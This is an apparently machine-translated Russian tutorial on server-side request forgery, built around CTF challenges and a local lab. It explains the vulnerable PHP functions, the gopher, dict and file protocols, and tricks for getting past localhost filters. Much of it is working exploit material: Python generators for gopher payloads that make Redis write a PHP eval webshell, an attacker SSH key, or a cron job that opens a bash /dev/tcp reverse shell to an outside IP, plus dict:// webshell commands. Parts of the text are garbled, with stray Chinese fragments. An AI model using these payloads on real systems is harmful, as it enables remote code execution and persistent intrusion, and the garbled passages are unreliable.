Узнайте о различных способах обхода SSRF и идеях атак из этой статьи.
Узнайте о различных способах обхода SSRF и идеях атак из этой статьи.

заявление

Статья впервые появилась в сообществе Popping Candy.https://tttang.com/archive/1648/

Предисловие

Раньше у меня было лишь краткое представление о SSRF. После вторичного изучения я кратко изложу его. Надеюсь, это будет полезно мастерам, изучающим SSRF.

Информация, связанная с уязвимостями

Причины уязвимости

Причиной формирования SSRF часто является то, что сервер обеспечивает функцию получения данных от других серверных приложений и не фильтрует и не ограничивает целевой адрес.

Например: получить текстовое содержимое веб-страницы с указанного URL-адреса, загрузить изображение с указанного адреса, скачать и т. д. Используется подделка запроса на стороне сервера. SSRF использует ошибочное веб-приложение в качестве прокси-сервера для атак на удаленные и локальные серверы.

Определение уязвимости

SSRF (подделка запроса на стороне сервера) — это уязвимость безопасности, созданная злоумышленником для формирования запроса, инициированного сервером. Обычно атаки SSRF нацелены на внутренние системы, недоступные из внешней сети. (Именно потому, что он инициируется сервером, он может запросить подключенную к нему внутреннюю систему и изолированную от внешней сети)

Уязвимости

1. Чтение или обновление внутренних ресурсов, вызывающее локальную утечку файлов;

2. Использовать защищенные от уязвимостей хосты в качестве агентов/трамплинов для атак на хосты интрасети, обхода брандмауэров и т. д.;

3. Вы можете выполнить сканирование портов во внешней сети, внутренней сети, где расположен сервер, и локальной области для получения баннерной информации некоторых сервисов.

4. Выполните идентификацию отпечатков пальцев в веб-приложениях интрасети, получив доступ к файлам по умолчанию (например, файлам readme).

5. Атаковать веб-приложения во внутренних и внешних сетях, в основном атаки, которые можно осуществить с использованием параметров GET (например: Struts2, sqli).

задействованная функция

curl_exec()

код Язык:javascript
копировать
curl_exec()  Функция Curl_exec используется для выполнения указанного сеанса cURL.

Например, код выглядит следующим образом

код Язык:javascript
копировать
<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
//Инициализируем сеанс Curl
$ch=curl_init($url); 
// Установите URL-адрес и соответствующие параметры.
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
//// Возьмите URL-адрес и передайте его в браузер
$result=curl_exec($ch);
 //Закрываем ресурсы cURL и освобождаем системные ресурсы
curl_close($ch);
echo ($result);
?>

В настоящее время мы можем использовать параметры URL,получить некоторые файлы из интрасети,Пишите напрямую127.0.0.1:/flag.phpЭтого достаточно,Присвоить значение URL-адресу

file_get_contents()

код Язык:javascript
копировать
file_get_contents() file_get_contentфункция получает содержимое по URL-адресу, указанному пользователем, а затем указывает имя файла
Сохраните и отобразите его пользователю. file_put_contentfunction записывает строку в файл.

дляfile_get_contents() функция, она может получить содержимое файла. Здесь мы приведем простой пример, чтобы показать, как ее использовать.

код Язык:javascript
копировать
<?php
$url = $_GET['url'];;
echo file_get_contents($url);
?>

В настоящее время существует уязвимость, заключающаяся в том, что вы можете напрямую читать файлы в интрасети.

fsockopen()

код Язык:javascript
копировать
fsockopen()  fsockopen — Откройте сетевое соединение или соединение через сокет Unix.
код Язык:javascript
копировать
<?php
$host=$_GET['url'];
$fp = fsockopen("$host",80, $errno, $errstr,30);
if(!$fp){
echo "$errstr ($errno)<br />\n";
}else{
$out ="GET / HTTP/1.1\r\n";
$out .="Host: $host\r\n";
$out .="Connection: Close\r\n\r\n";
fwrite($fp, $out);
while(!feof($fp)){
echo fgets($fp,1024);
}
fclose($fp);
}
?>

Функция fsockopen реализует получение данных URL-адреса, указанных пользователем. Эта функция использует сокет (порт) для установления TCP-соединения с сервером и передачи данных. Переменная хост — это имя хоста, порт — это порт, errstr указывает, что сообщение об ошибке будет возвращено в виде строки, а 30 — это ограничение по времени для передачи исходных данных.

Соглашение задействовано

файловый псевдопротокол

код Язык:javascript
копировать
file:// — доступ к локальной файловой системе

Проще говоря, это обнаружение локальных файлов. Официальное объяснение и использование следующие.

код Язык:javascript
копировать
file:// протокол:
        состояние allow_url_fopen:off/on  allow_url_include :off/on
        Функция: используется для доступа к локальной файловой системе. Когда такие параметры, как include()/require(), являются управляемыми
             Если вы импортируете файл, отличный от php, он также будет проанализирован как php.
        использование:
            1.file://[абсолютный путь и имя файла]
            2.[Относительный путь и имя файла]
            3.[http://сетевой путьиимя файла]

Используйте простые вопросы как каштаны для практики.

Описание вопроса

код Язык:javascript
копировать
Попробуйте прочитать flag.php в веб-каталоге.

Войдите в среду,пустой,Найдены параметры URL,использоватьфайловый псевдопротокол пытается прочитать флаг

код Язык:javascript
копировать
url=file:///var/www/html/flag.php

Протокол Гофера

Необходимо отправлять при обнаружении интрасети или выполнении команд. POST Запрос, которым мы можем воспользоваться gopher протокол протокол Формат:gopher://<host>:<port>/<gopher-path>,Путь gopher здесь эквивалентен отправленному пакету запроса.

Это объясняется небольшим вопросом от ctfhub. Я открыл среду и ничего не нашел.

После сканирования мы обнаружили, что существует файл с именем flag.php. В этот момент заходим на доступ к этому файлу.

Он сообщает, что доступ к нему возможен только с помощью этого компьютера. На данный момент мы создаем следующую полезную нагрузку.

код Язык:javascript
копировать
url=http://127.0.0.1/flag.php

Обнаружил, что это была загрузка файла Проверьте исходный код файла в это время

код Язык:javascript
копировать
url=file:///var/www/html/flag.php

Исходный код выглядит следующим образом

код Язык:javascript
копировать
<?php

error_reporting(0);

if($_SERVER["REMOTE_ADDR"] != "127.0.0.1"){
    echo "Just View From 127.0.0.1";
    return;
}

if(isset($_FILES["file"]) && $_FILES["file"]["size"] > 0){
    echo getenv("CTFHUB");
    exit;
}
?>

Upload Webshell

<form action="/flag.php" method="post" enctype="multipart/form-data">
    <input type="file" name="file">
</form>

В этот раз мы обнаружили, что это действительно была загрузка файла. Пока файл больше 0, его можно успешно загрузить. В этот раз мы попытались загрузить файл, но обнаружили, что кнопки «Отправить» нет. ... Это не имеет значения. Мы можем сами отредактировать код внешнего интерфейса, чтобы создать кнопку отправки и сконструировать. Код выглядит следующим образом.

код Язык:javascript
копировать
<input type="submit" name="submit">

Затем загрузите любой файл, который хотите.

На этом этапе измените хост на 127.0.0.1, чтобы создать необходимый нам пакет почтовых данных, а затем используйте следующий сценарий для выполнения вторичного кодирования.

код Язык:javascript
копировать
import urllib.parse
payload =\
"""POST /flag.php HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:98.0) Gecko/20100101 Firefox/98.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------224170729831654278414248977569
Content-Length: 525
Origin: http://challenge-fbeb7e53e47ecd22.sandbox.ctfhub.com:10800
Connection: close
Referer: http://challenge-fbeb7e53e47ecd22.sandbox.ctfhub.com:10800/?url=http://127.0.0.1/flag.php
Upgrade-Insecure-Requests: 1

-----------------------------224170729831654278414248977569
Content-Disposition: form-data; name="file"; filename="1.txt"
Content-Type: application/octet-stream
-----------------------------224170729831654278414248977569
Content-Disposition: form-data; name="submit"

123
-----------------------------224170729831654278414248977569--
123
-----------------------------224170729831654278414248977569
Content-Disposition: form-data; name="submit"

123
-----------------------------224170729831654278414248977569--
"""

#Обратите внимание, что в конце должен быть возврат каретки. Конец возврата каретки указывает на конец http-запроса.
tmp = urllib.parse.quote(payload)
new = tmp.replace('%0A','%0D%0A')
result = 'gopher://127.0.0.1:80/'+'_'+new
result = urllib.parse.quote(result)
print(result)       # Поскольку это запрос GET, кодирование URL необходимо выполнить дважды.

После выполнения скрипта полученный транскодированный код выглядит следующим образом:

код Язык:javascript
копировать
gopher%3A//127.0.0.1%3A80/_POST%2520/flag.php%2520HTTP/1.1%250D%250AHost%253A%2520127.0.0.1%250D%250AUser-Agent%253A%2520Mozilla/5.0%2520%2528Windows%2520NT%252010.0%253B%2520Win64%253B%2520x64%253B%2520rv%253A98.0%2529%2520Gecko/20100101%2520Firefox/98.0%250D%250AAccept%253A%2520text/html%252Capplication/xhtml%252Bxml%252Capplication/xml%253Bq%253D0.9%252Cimage/avif%252Cimage/webp%252C%252A/%252A%253Bq%253D0.8%250D%250AAccept-Language%253A%2520zh-CN%252Czh%253Bq%253D0.8%252Czh-TW%253Bq%253D0.7%252Czh-HK%253Bq%253D0.5%252Cen-US%253Bq%253D0.3%252Cen%253Bq%253D0.2%250D%250AAccept-Encoding%253A%2520gzip%252C%2520deflate%250D%250AContent-Type%253A%2520multipart/form-data%253B%2520boundary%253D---------------------------224170729831654278414248977569%250D%250AContent-Length%253A%2520525%250D%250AOrigin%253A%2520http%253A//challenge-fbeb7e53e47ecd22.sandbox.ctfhub.com%253A10800%250D%250AConnection%253A%2520close%250D%250AReferer%253A%2520http%253A//challenge-fbeb7e53e47ecd22.sandbox.ctfhub.com%253A10800/%253Furl%253Dhttp%253A//127.0.0.1/flag.php%250D%250AUpgrade-Insecure-Requests%253A%25201%250D%250A%250D%250A-----------------------------224170729831654278414248977569%250D%250AContent-Disposition%253A%2520form-data%253B%2520name%253D%2522file%2522%253B%2520filename%253D%25221.txt%2522%250D%250AContent-Type%253A%2520application/octet-stream%250D%250A-----------------------------224170729831654278414248977569%250D%250AContent-Disposition%253A%2520form-data%253B%2520name%253D%2522submit%2522%250D%250A%250D%250A123%250D%250A-----------------------------224170729831654278414248977569--%250D%250A123%250D%250A-----------------------------224170729831654278414248977569%250D%250AContent-Disposition%253A%2520form-data%253B%2520name%253D%2522submit%2522%250D%250A%250D%250A123%250D%250A-----------------------------224170729831654278414248977569--%250D%250A  

На данный момент вы можете напрямую присвоить значение параметру URL.

код Язык:javascript
копировать
url=gopher%3A//127.0.0.1%3A80/_POST%2520/flag.php%2520HTTP/1.1%250D%250AHost%253A%2520127.0.0.1%250D%250AUser-Agent%253A%2520Mozilla/5.0%2520%2528Windows%2520NT%252010.0%253B%2520Win64%253B%2520x64%253B%2520rv%253A98.0%2529%2520Gecko/20100101%2520Firefox/98.0%250D%250AAccept%253A%2520text/html%252Capplication/xhtml%252Bxml%252Capplication/xml%253Bq%253D0.9%252Cimage/avif%252Cimage/webp%252C%252A/%252A%253Bq%253D0.8%250D%250AAccept-Language%253A%2520zh-CN%252Czh%253Bq%253D0.8%252Czh-TW%253Bq%253D0.7%252Czh-HK%253Bq%253D0.5%252Cen-US%253Bq%253D0.3%252Cen%253Bq%253D0.2%250D%250AAccept-Encoding%253A%2520gzip%252C%2520deflate%250D%250AContent-Type%253A%2520multipart/form-data%253B%2520boundary%253D---------------------------224170729831654278414248977569%250D%250AContent-Length%253A%2520525%250D%250AOrigin%253A%2520http%253A//challenge-fbeb7e53e47ecd22.sandbox.ctfhub.com%253A10800%250D%250AConnection%253A%2520close%250D%250AReferer%253A%2520http%253A//challenge-fbeb7e53e47ecd22.sandbox.ctfhub.com%253A10800/%253Furl%253Dhttp%253A//127.0.0.1/flag.php%250D%250AUpgrade-Insecure-Requests%253A%25201%250D%250A%250D%250A-----------------------------224170729831654278414248977569%250D%250AContent-Disposition%253A%2520form-data%253B%2520name%253D%2522file%2522%253B%2520filename%253D%25221.txt%2522%250D%250AContent-Type%253A%2520application/octet-stream%250D%250A-----------------------------224170729831654278414248977569%250D%250AContent-Disposition%253A%2520form-data%253B%2520name%253D%2522submit%2522%250D%250A%250D%250A123%250D%250A-----------------------------224170729831654278414248977569--%250D%250A123%250D%250A-----------------------------224170729831654278414248977569%250D%250AContent-Disposition%253A%2520form-data%253B%2520name%253D%2522submit%2522%250D%250A%250D%250A123%250D%250A-----------------------------224170729831654278414248977569--%250D%250A  

протокол диктовки

ict Протокол — это словарь. Служить протокол обычно используется, чтобы позволить клиенту получить доступ к большему количеству источников словаря во время использования, и может использоваться для обнаружения отпечатка информации порта. протокол Формат:dict://<host>:<port>/<dict-path> Общее использованиеdict://<host>:<port>/info Обнаружение информации о приложении порта

Дайте каштан

код Язык:javascript
копировать
dict://127.0.0.1:6379 //Определить, активен ли Redis
dict://127.0.0.1:6379/info //Обнаружение информации о приложении порта

Протокол RESP

RESP протоколда redis Связь передачи данных между Служитьпротокол, redis клиент и redis Связь между серверами будет осуществляться в форме RESP протокол Поэтому впоследствии мы построим payload также необходимо преобразовать в RESP Формат протокола

код Язык:javascript
копировать
*1
$8
flushall
*3
$3
set
$1
1
$64

*/1 * * * * bash -i >& /dev/tcp/192.168.230.132/1234 0>&1

*4
$6
config
$3
set
$3
dir
$16
/var/spool/cron/
*4
$6
config
$3
set
$10
dbfilename
$4
root
*1
$4
save
quit

в

код Язык:javascript
копировать
*n представляет начало команды, n Указывает, что команда выдана n состоит из струн
$n означает, что строка имеет n персонажи

После успешного выполнения сервер вернет +OK, что является ответом сервера Redis клиенту Redis.

Распространенные позы обхода

URL and IP PASS

При столкновении с фильтрациейlocalhostи127.0.0.1час,В настоящее время прямой доступ к интрасети доступа невозможен.,Так что же нам делать в это время?,иметь Ниже приведены несколько способов обхода

302 прыжок

Есть сеть под названиемsudo.ccиз Служить,При размещении доступ к этому Служить,автоматически перенаправит на127.0.0.1

добавить @bypass

平常我们传入изurlдаurl=http://127.0.0.1,если 我们传入изurlдаurl=http://quan9i@127.0.0.1,В настоящее время он по-прежнему будет доступен 127.0.0.1.

Примеры следующие: Советы по вопросам

Запрос должен заканчиватьсяhttp://notfound.ctfhub.comначало,Но для нашего доступа к файлам интрасети,иметь это,Что делать,этотчас候Сразуиспользовать到了@характер,Мы создаем полезную нагрузку следующим образом

код Язык:javascript
копировать
url=http://notfound.ctfhub.com@127.0.0.1/flag.php

Специальные номера (например, ②)

иметьчас候可以использовать特殊数字来绕过,Построить специальный 127.0.0.1,нравиться1②7.0.0.1

Замена периода.Обход

использоватьвместо.

Опущено 0

при фильтрации127.0.0.1整体час,возвращатьсяиметь一种绕过方式Сразуда省略中间из0,Это также время, когда вы можете получить доступ

Базовая конверсия

Воля127.0.0.1Сделать преобразование,转换为其他进制из数从而绕过检测 Базовая конверсия Результаты следующие:

код Язык:javascript
копировать
0177.0.0.1 //восьмеричный
0x7f.0.0.1 //шестнадцатеричный
2130706433 //десятичный

Вы также можете использовать скрипт преобразования PHP для непосредственного получения результатов. Сценарий выглядит следующим образом.

код Язык:javascript
копировать
<?php
$ip = '127.0.0.1';
$ip = explode('.',$ip);
$r = ($ip[0] << 24) | ($ip[1] << 16) | ($ip[2] << 8) | $ip[3] ;
if($r < 0) {
$r += 4294967296;
}
echo «Десятичный:»;
echo $r;
echo «Восьмеричный:»;
echo decoct($r);
echo "шестнадцатеричный:";
echo dechex($r);
?>

Специальный 0

в окнах,0представлять0.0.0.0,И под линуксом,0представлять127.0.0.1,Как показано ниже

код Язык:javascript
копировать
url=http://0/flag.php

Перепривязка DNS

DNS — это аббревиатура службы доменных имен, компьютерного сервера доменных имен. В Интернете между доменными именами и IP-адресами существует взаимно однозначное соответствие. Хотя имена доменов легко запоминаются, машины могут распознавать только друг друга. Преобразование между ними работает. Это называется разрешением доменных имен, и разрешение доменных имен должно выполняться специализированным сервером разрешения доменных имен, который является сервером доменных имен DNS.

Во время просмотра веб-страниц пользователь вводит URL-адрес, содержащий имя домена, в адресную строку. Браузер преобразует имя домена в IP-адрес через DNS-сервер, затем запрашивает ресурсы с соответствующего IP-адреса и, наконец, отображает их пользователю. Владелец доменного имени может установить IP-адрес, соответствующий доменному имени. Когда пользователь посещает сайт в первый раз, доменное имя анализируется для получения IP-адреса; затем владелец доменного имени изменяет соответствующий IP-адрес; когда пользователь снова запрашивает доменное имя, будет получен новый IP-адрес; Для браузера весь процесс обращается к одному и тому же доменному имени, поэтому он считается безопасным. Это создает атаку перепривязки DNS. Процесс атаки выглядит следующим образом

код Язык:javascript
копировать
Для параметров URL, запрошенных пользователем,первый Служить Сервер обработает егоDNSанализировать,Затем оцените IP-адрес, возвращенный DNS. Служить,если в черном списке,СразуpassТерять。

Но за весь процесс первый раз запросить DNS Служить для доменного Существует разница во времени между анализом имени и вторым запросом URL-адреса. Используя эту разницу во времени, мы можем выполнить DNS. Повторная атака.Используем DNS Технология повторной привязки возвращает действительный IP-адрес при первой проверке IP. Когда запрос действительно инициируется, он возвращает только тот IP-адрес интрасети, который нам действительно нужен.

завершить Перепривязка DNS-атака, нам нужно доменное имя, и будет ли это доменное Разрешение имени присваивается нашему собственному DNS. Сервер в нашем управляемом DNS Запишите синтаксический анализ Служить на сервере и установите время TTL равным 0. Это сделано для того, чтобы DNS-сервер Служить не кэшировал результаты парсинга. Таким образом можно осуществить атаку. Полный процесс атаки:

Серверная часть Служить получила параметры URL-адреса, выполнила первое разрешение DNS и получила IP-адрес вне интрасети.

Полученный IP-адрес оценивается, и если оказывается, что он не находится в черном списке, он проходит проверку.

Служитьустройство端дляURLруководитьдоступ,Поскольку TTL, установленный DNS-Служить, равен 0.,所以再次руководитьDNSанализировать,На этот раз DNS-сервер «Служить» вернул адрес интрасети.

Перепривязка Проще говоря, DNS здесь означает, что мы сначала предоставляем IP, а затем передаем 127.0.0.1 в процессе разрешения на стороне Служить. В это время доступ может быть передан на локальный файл. Дайте каштан, один ставим 127.0.0.1, а другой пишем случайно

пропинговать этот адрес,Могут возникнуть две ситуации: иметь,一种да1.1.1.14,另一种да127.0.0.1

Перепривязка DNSиспользоватьиздаэтот网站[https://lock.cmpxchg8b.com/rebinder.html]

Распространенные атаки Redis

Напишите веб-шелл с абсолютным путем

помещение

код Язык:javascript
копировать
1、redis иметь root
2. Знайте абсолютный путь к веб-сайту.

Целевая машина открывает Redis

Атакующая машина подключается к несанкционированному редису (блогер совсем новичок, могут возникнуть проблемы)

код Язык:javascript
копировать
redis-cli -h IP-адрес

Соединение успешное, начните писать веб-шелл

код Язык:javascript
копировать
1、flushall //Команда используется для очистки всего Redis Служить данные
2、set 1 '<?php @eval($_POST[1]);?>' //Устанавливаем содержимое как трояна, состоящего из одного предложения
3、config set dir '/var/www/html'  //Установим путь хранения файлов
4、config set dbfilename shell.php //Установить имя файла
5、save //держать

Подойдите к целевому дрону, чтобы проверить

Успешно написано

В сочетании с SSRF

В это время внутренний сервер отправляет redis Сервер инициирует запрос, поэтому отправленный контент необходимо преобразовать в RESP формат протокола, путем объединения gopher протокол досягаемости и записи shell цель

Общий сценарий следующий

код Язык:javascript
копировать
import urllib
protocol="gopher://"
ip="192.168.134.132" //IP-адрес
port="6379" //порт
shell="\n\n<?php eval($_GET[\"cmd\"]);?>\n\n"//Письменный контент представляет собой троян, состоящий из одного предложения.
filename="1.php" //Имя файла — 1.php
path="/var/www/html"//Путь по умолчанию
passwd=""
cmd=["flushall",
     "set 1 {}".format(shell.replace(" ","${IFS}")),
     "config set dir {}".format(path),
     "config set dbfilename {}".format(filename),
     "save"
     ]
if passwd:
    cmd.insert(0,"AUTH {}".format(passwd))
payload=protocol+ip+":"+port+"/_"
def redis_format(arr):
    CRLF="\r\n"
    redis_arr = arr.split(" ")
    cmd=""
    cmd+="*"+str(len(redis_arr))
    for x in redis_arr:
        cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ")
    cmd+=CRLF
    return cmd

if __name__=="__main__":
    for x in cmd:
        payload += urllib.quote(redis_format(x))
    print payload

Попробуйте использовать эту полезную нагрузку для атаки

Проверьте этот каталог

Успешно написано

Напишите открытый ключ SSH

состояние

код Язык:javascript
копировать
1、Redis Служить запускается под учетной записью ROOT.
2、Служить Устройство открытоSSHСлужить,И разрешить вход с помощью ключа,Вы можете написать открытый ключ удаленно,Войдите непосредственно на удаленный сервер

Выполнять команды в дронеssh-keygen -t rsa,Затем просто нажмите Enter до конца

В это время найдите место, где хранятся открытый и закрытый ключи.

код Язык:javascript
копировать
find . -name ".ssh"

Посмотреть содержимое id_rsa.pub

код Язык:javascript
копировать
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDTcPHlQF54WarRY8IQY7+mKkkQm7hWDSn5rHreuLNtd56bJdY/melINxXeQ2c/xiupBWKoKZSz8RwPx+yz36Zvvpfa/DXUN9MA6CJz4zofjmFbQWImSe3pEFJ2V3XbPPSEOz38bXKRK/akLYL9CI2joGh4mv4iQgSxHF40HKrVyl4/UD40S/ujVtaj1AJUcpTQkm9MW9VuQY110WW0HI1LRXyiAlF9EbLxe7WQY78eASI86gI8gil6UHE0Y6v41JxQJHkf63q6fzcIYBrmfePn8K8PzDIViu+Pf+Tx9dP+YodAZo6ZDbsg06aJG1cYHbnG+qWSoeybDcnxhRj2c5PS9zzjWHNE1eWyP9ILs4P4ZDfy8ZX4i9twWdF8FLhpDpogfcKJJ2f1G4tHKdnrbSGVtZw+QoIVmbGtW8feEKgAW71PEK2wBVacrqfpd7AxslCL8RCqETa8iVnR5shNs4cAHxLhIdmF8mmk5ZBE2On/uoWf3x+FSzicmhV6d8zDFkE= root@kali

В это время подойдите к атакующей машине и подключитесь к Redis.

код Язык:javascript
копировать
flushall
set 1 'содержимое id_rsa.pub'
config set dir '/root/.ssh/'
config set dbfilename authorized_keys
save

Проверьте это на съемочной машине

Успешно написано 此часssh -root@ip-адрес целевой машиныВы можете успешно войти в систему

В сочетании с SSRF

Скрипт следующий

код Язык:javascript
копировать
import urllib
protocol="gopher://"
ip="192.168.134.132"
port="6379"
filename="authorized_keys"
ssh_pub="\n\nssh-rsa  AAAAB3NzaC1yc2EAAAADAQABAAABgQDTcPHlQF54WarRY8IQY7+mKkkQm7hWDSn5rHreuLNtd56bJdY/melINxXeQ2c/xiupBWKoKZSz8RwPx+yz36Zvvpfa/DXUN9MA6CJz4zofjmFbQWImSe3pEFJ2V3XbPPSEOz38bXKRK/akLYL9CI2joGh4mv4iQgSxHF40HKrVyl4/UD40S/ujVtaj1AJUcpTQkm9MW9VuQY110WW0HI1LRXyiAlF9EbLxe7WQY78eASI86gI8gil6UHE0Y6v41JxQJHkf63q6fzcIYBrmfePn8K8PzDIViu+Pf+Tx9dP+YodAZo6ZDbsg06aJG1cYHbnG+qWSoeybDcnxhRj2c5PS9zzjWHNE1eWyP9ILs4P4ZDfy8ZX4i9twWdF8FLhpDpogfcKJJ2f1G4tHKdnrbSGVtZw+QoIVmbGtW8feEKgAW71PEK2wBVacrqfpd7AxslCL8RCqETa8iVnR5shNs4cAHxLhIdmF8mmk5ZBE2On/uoWf3x+FSzicmhV6d8zDFkE= root@kali \n\n"
path="/root/.ssh/"
passwd=""
cmd=["flushall",
     "set 1 {}".format(ssh_pub.replace(" ","${IFS}")),
     "config set dir {}".format(path),
     "config set dbfilename {}".format(filename),
     "save"
     ]
if passwd:
    cmd.insert(0,"AUTH {}".format(passwd))
payload=protocol+ip+":"+port+"/_"
def redis_format(arr):
    CRLF="\r\n"
    redis_arr = arr.split(" ")
    cmd=""
    cmd+="*"+str(len(redis_arr))
    for x in redis_arr:
        cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ")
    cmd+=CRLF
    return cmd

if __name__=="__main__":
    for x in cmd:
        payload += urllib.quote(redis_format(x))
    print payload

Получите полезную нагрузку после запуска

Откройте среду целевой машины, перейдите на атакуемую машину и выполните завиток + полезная нагрузка.

Попробуйте войти сейчас

Написать оболочку восстановления запланированного задания contrab

состояние

код Язык:javascript
копировать
redis иметь root
Окружающая среда является центосом из-за redis Выходные файлы 644 разрешения, но ubuntu Запланированные задачи должны быть 600 Разрешения могут быть получены только поэтому этот метод применим только к centos

Целевая машина открывает Redis и выполняет следующую команду после атаки на соединение.

код Язык:javascript
копировать
flushall
set 1 "\n\n\n\n* * * * * root bash -i >& /dev/tcp/192.168.134.132/1234 0>&1\n\n\n\n"
config set dir '/var/spool/cron'
config set dbfilename root
save
В сочетании с SSRF

Скрипт

код Язык:javascript
копировать
import urllib
protocol="gopher://"
reverse_ip="192.168.134.132"
reverse_port="1234"
filename="root"
cron="\n\n\n\n*/1 * * * * bash -i >& /dev/tcp/%s/%s 0>&1\n\n\n\n"%(reverse_ip,reverse_port)
path="/var/spool/cron"
passwd=""
cmd=["flushall",
     "set 1 {}".format(cron.replace(" ","${IFS}")),
     "config set dir {}".format(path),
     "config set dbfilename {}".format(filename),
     "save"
     ]
if passwd:
    cmd.insert(0,"AUTH {}".format(passwd))
payload=protocol+reverse_ip+":"+reverse_port+"/_"
def redis_format(arr):
    CRLF="\r\n"
    redis_arr = arr.split(" ")
    cmd=""
    cmd+="*"+str(len(redis_arr))
    for x in redis_arr:
        cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ")
    cmd+=CRLF
    return cmd

if __name__=="__main__":
    for x in cmd:
        payload += urllib.quote(redis_format(x))
    print payload

После запуска мы получаем

Мониторинг на атакующей машине и клонирование терминала для Curl + Payload

Тогда вы сможете успешно восстановить оболочку

Реальное стрельбище

SSRF-lab

Настройка среды

1. Загрузите тир с github. Код выглядит следующим образом

код Язык:javascript
копировать
git clone https://gitclone.com/github.com/m6a-UdS/ssrf-lab.git

2. Переключитесь на путь стрельбища, чтобы создать изображение.

код Язык:javascript
копировать
cd /ssrf-lab/basics
sudo docker build -t ssrf-lab/basic .

3. Запустите образ и сопоставьте его с портом 80.

код Язык:javascript
копировать
docker run -d -p 80:80 ssrf-lab/basic

4. Войдите в контейнер для настройки Redis.

код Язык:javascript
копировать
docker exec -it идентификатор контейнера /bin/bash
apt-get install redis-server

5. Запустите службу Redis.

код Язык:javascript
копировать
redis-server

доступ

Собрать информацию

Сначала протестируйте 127.0.0.1

Обнаружил эхо, указывающее, что ограничения по IP нет, попробуйте в это время прочитать файл

код Язык:javascript
копировать
file:///etc/passwd

Получите пароль, затем используйте псевдопротокол dict, чтобы прочитать редисинформацию.

код Язык:javascript
копировать
dict://127.0.0.1:6379/info

Создание веб-шелла

На данный момент у нас нет шелл.php, пытаемся написать шелл.php

код Язык:javascript
копировать
dict://127.0.0.1:6379/config:set:dir/var/www/html //Установить каталог
код Язык:javascript
копировать
dict://127.0.0.1:6379/set:shell:"<?php eval($_POST[1])?>" //Устанавливаем содержимое файла

Не удалось, попробовал шестнадцатеричный обход.

код Язык:javascript
копировать
dict://127.0.0.1:6379/set:shell:"\x3c\x3f\x70\x68\x70\x20\x65\x76\x61\x6c\x28\x24\x5f\x50\x4f\x53\x54\x5b\x31\x5d\x29\x3f\x3e"
код Язык:javascript
копировать
dict://127.0.0.1:6379/config:set:dbfilename:shell.php //Установить имя файла
код Язык:javascript
копировать
dict://127.0.0.1:6379/save //держать

Подойдите к стрелковой машине, чтобы просмотреть

Успешно написано

Реальное стрельбище

URL and IP PASS

0X01
код Язык:javascript
копировать
<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
if(!preg_match('/localhost|127.0.0/')){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{
    die('hacker');
}
}
else{
    die('hacker');
}

можно найтиэтот多了parse_urlфункция,Функция этой функции заключается в следующем

код Язык:javascript
копировать
parse_url — анализировать URL, возвращающий его компоненты

Примеры следующие:

код Язык:javascript
копировать
<?php
$url = 'http://username:password@hostname/path?arg=value#anchor';

print_r(parse_url($url));

echo parse_url($url, PHP_URL_PATH);
?> 

Вывод результатов

код Язык:javascript
копировать
Array
(
    [scheme] => http
    [host] => hostname
    [user] => username
    [pass] => password
    [path] => /path
    [query] => arg=value
    [fragment] => anchor
)
/path

Здесь требованием является http или https.,Тогда он не может появитьсяloca1hostили127.0.0,Если внимательно посмотреть,会发现这里даloca1скорее, чемlocal,同час127.0.0Не могу защитить127.0.0.1,Следовательно, мы можем следовать идее Шангуаня.,Но контрольной точкой здесь является обход 127.0.0.1.,Вот несколько полезных нагрузок

код Язык:javascript
копировать
//Специальный 0
url=http://0/flag.php
url=http://0.0.0/flag.php
//Шестнадцатеричный обход
url=http://0177.0.0.1/flag.php //восьмеричный
url=http://0x7f.0.0.1/flag.php //шестнадцатеричный
url=http://2130706433/flag.php  //десятичный
0X02
код Язык:javascript
копировать
<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
$host=$x['host'];
if((strlen($host)<=5)){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{
    die('hacker');
}
}
else{
    die('hacker');
}

этотиз话要求hostдлина менее5,этотчас候127.0.0.1иlocalhost都да不符合要求из,этотчас候我们可以использовать Специальный 0 для замены

код Язык:javascript
копировать
url=http://0/flag.php

возвращатьсяиметьодин,127.1也да可行из

0X03
код Язык:javascript
копировать
<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
$ip = gethostbyname($x['host']);
echo '</br>'.$ip.'</br>';
if(!filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE)) {
    die('ip!');
}


echo file_get_contents($_POST['url']);
}
else{
    die('scheme');
}
?>
код Язык:javascript
копировать
FILTER_VALIDATE_IP Требуемое значение является законным IP
FILTER_FLAG_NO_PRIV_RANGE Требуемое значение RFC выделенный частный домен IP (например 192.168.0.1)
FILTER_FLAG_NO_RES_RANGE Требуемое значение больше не зарезервировано IP в пределах диапазона. Этот флаг принимает IPV4 и IPV6 ценить.

